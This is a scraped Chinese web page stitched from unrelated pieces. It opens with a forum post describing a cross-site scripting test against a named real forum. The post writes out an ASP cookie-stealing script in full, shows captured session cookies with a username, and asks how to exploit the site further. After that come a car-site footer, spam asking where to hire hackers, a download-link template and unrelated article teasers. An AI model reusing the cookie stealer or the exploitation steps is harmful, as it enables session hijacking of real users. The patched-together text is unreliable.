先看看我的一次跨站测试吧
我以职业欠钱的站点做测试吧:
Host:zhiyeqianqian.51web.cn
MyTest:
先在他的论谈上传两张图,
图一的内容是:
得到url为UploadFile/2005-6/200562716565777847.jpg
图二则是偶的个人照
UploadFile/2005-6/200562716563048909.jpg
写个盗cookie的代码到我的空间,lcx的盗cookie代码有问题,所以修改了一下。
<%
cookiefile=Server.MapPath(cookie.txt)
setfs=server.CreateObject(scripting.filesystemobject)
setcookiefile=fs.OpenTextfile(cookiefile,8,True,0)
cookiefile.Write(Request.QueryString&
)
cookiefile.close
setfs=nothing
%>
接下来,点击图一,自动转到图二,
二、结果分析
再到我的空间看一下,抓到cookie如下:
msg=e想要吗?嘿嘿&userhidden=2&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=linzi;%20ASPSESSIONIDQSCAAQTB=HMPLNIMDHOCDJKPELPGBBOOG;%20Dvbbs;%20DvbbsMagicFace=862;%20upNum=2;%20ASPSESSIONIDQSAAARTB=JBPPMONDDEGFGHEOICDHFJIM
分析cookie我们不难看出他的绝对路径是e:\
三、论谈
本来,最初的测试我是在测试BCT论谈,成功暴出他的绝对路径,一开始的时候,我还认为可能又是动网出洞洞了,所以又去测试了其它几个站,测试结果是其它的站点并没有暴出路径,今天再次测试“欠我钱”的论谈,却又暴不出来,查了一下代码,和别人的代码一个样,根本没什么差别。
偶想听听大家的看法,到底是哪里出了问题,能不能深入利用~~~
关于爱卡|招贤纳士|联系我们|友情链接|选车中心|汽车图片|汽车论坛|站点地图|意见反馈|北京车展|广州车展|手机爱卡
?2002-2021
All rights reserved. 北京智德典康电子商务有限公司(爱卡汽车) 版权所有.
*** :010-82616677
京公网安备 11010102004670号用户服务协议隐私权声明
互联网违法和不良信息举报方式: *** :400-678-0116 邮箱:
图片查看: | |
查询分类: | 部长市场登录 |
用户提问: | 上哪里找黑客办事 |
状态: | 已解决 |
调查用时: | 481小时 |
修改模板:templet_download_file_block.htm中的{SoftDownloadLinks}块模板?
迅雷链接:?
{SoftDownloadLinks_default}?
?
?
{loop}?
迅雷客户号码?
"?thunderType="08"?thunderResTitle="{FileTitle}"?onClick="return?OnDownloadClick_Simple(this,2)"?oncontextmenu="ThunderNetwork_SetHref(this)"?>迅雷下载专用链接:{filetitle}
{/loop}?
?
{/SoftDownloadLinks_default}?
模板中的"迅雷客户号码"要替换为你实际的迅雷联盟的ID号?
快车链接:?
{SoftDownloadLinks_default}?
?
?
?
{loop}?
快车ID?
)"?oncontextmenu="Flashget_SetHref_js(this,?
快车ID?
,'{AspFileLink}');"?>快车专用链接:{filetitle}?
{/loop}?
?
{/SoftDownloadLinks_default}?
模板中的"快车ID"要替换为你实际的快车联盟的ID号?
使用快车链接的请下载修改过的Flashget_base64.js?否则将不能正常获取下载地址,同时请注意调用此js文件的路径是否正确.?
其他问题提问 | 相关问题回答 |
---|---|
从哪里可以找到真正的黑客 | 密码西安影响 |
网上黑客是怎么找人的 | 青岛发展赚钱 |
网上求信誉黑客联系方式 | 购买访问网上 |
黑客24小时在线帮忙 | 质量免费历届 |
网上哪里可以找黑客 | 内容查询登录 |
本文导读目录: 1、刚看了一部电影,忘记名字了!美国片子!一个中学生小孩是个黑客,黑进了美国国防部,和智能电脑打了全球 2、大学生入侵电商平台隔空盗走73万,这些学生会被如何惩罚? 3、学校班...
script>1、 点击某个东西之前,请三思!假如你拜访的是一个彻底安全且受信赖的网站,那就不必忧虑。 但假如你拜访的是一个私家站点,或自己不熟悉的站点,然后你又遇到了随机邮件地址或即时消息,那...
长大后再看《黑客帝国》,会有什么新的感受吗? 黑客帝国1是一部颠覆性的,具有宗教革命意义的科幻电影,影片讲述一名年轻的网络黑客尼奥发现看似正常的现实世界实际上是由一个名为“矩阵”的计算机人工智能系统控...
我们在应用无线路由器的情况下,一直会碰到许多 的难点。在我们在碰到了如何把有线路由器设成无线交换机的情况下,那麼大家应当怎么办呢?今日就一起来追随专业知识屋的我看一下怎么解决的吧。 如何把有线...
本文目录一览: 1、求黑客类小说,主角是顶级黑客,最好有什么高科技的东西,类似人工智能啊,机器人的 2、男主是顶级黑客在未来判刑穿越现代的小说 3、推荐几本好的关于黑客方面的小说(科幻的)...
16日台湾艺人小鬼在家去世,据报道是因为在浴室滑倒没有得到及时救治造成。死讯传出后不管是家人朋友还是粉丝都无法接受这个噩耗,很多网友也在猜测小鬼的真实死因。近日经纪人曝黄鸿升真正死因,经纪人表示黄鸿升...